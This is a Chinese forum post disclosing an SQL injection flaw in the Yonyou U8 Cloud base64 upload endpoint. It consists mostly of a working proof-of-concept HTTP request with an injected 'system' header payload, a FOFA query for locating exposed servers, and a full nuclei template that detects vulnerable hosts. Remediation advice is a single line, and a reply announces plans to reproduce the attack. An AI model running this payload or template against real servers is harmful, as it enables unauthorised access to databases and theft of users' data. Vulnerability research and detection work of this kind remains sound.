用友-U8-Cloud-base64存在SQL注入漏洞

我是大白   ·   发表于 2024-03-14 21:25:00   ·   漏洞文章

用友-U8-Cloud-base64存在SQL注入漏洞

漏洞描述

用友-U8-Cloud-base64接口处存在SQL注入漏洞,未授权的攻击者可通过此漏洞获取数据库权限,从而盗取用户数据,造成用户信息泄露。

产品界面

fofa语法

app="用友-U8-Cloud"

POC

  1. GET /u8cloud/api/file/upload/base64 HTTP/1.1
  2. Host:
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  4. system: -1' or 1=@@version--+

nuclei验证

  1. id: yongyou-U8-Cloud-base64-SQL
  2. info:
  3. name: 用友-U8-Cloud-base64存在SQL注入漏洞
  4. author: nobody
  5. severity: high
  6. description: |
  7. 用友-U8-Cloud-base64接口处存在SQL注入漏洞,未授权的攻击者可通过此漏洞获取数据库权限,从而盗取用户数据,造成用户信息泄露。
  8. impact: |
  9. 授权的攻击者可通过此漏洞获取数据库权限,从而盗取用户数据
  10. remediation: |
  11. 升级版本,打补丁
  12. metadata:
  13. verified: true
  14. max-request: 3
  15. fofa-query: app="用友-U8-Cloud"
  16. tags: U8-Cloud,sql
  17. requests:
  18. - raw:
  19. - |
  20. GET /u8cloud/api/file/upload/base64 HTTP/1.1
  21. Host: {{Hostname}}
  22. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  23. system: -1' or 1=@@version--+
  24. matchers:
  25. - type: dsl
  26. dsl:
  27. - status_code == 200 && contains_all(body,"nvarchar","Microsoft SQL Server")

修复建议

  • 建议升级到最新版本或打补丁

打赏我,让我更有动力~

1 Reply   |  Until 1个月前 | 322 View

honker74886
发表于 1个月前

马上复线

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.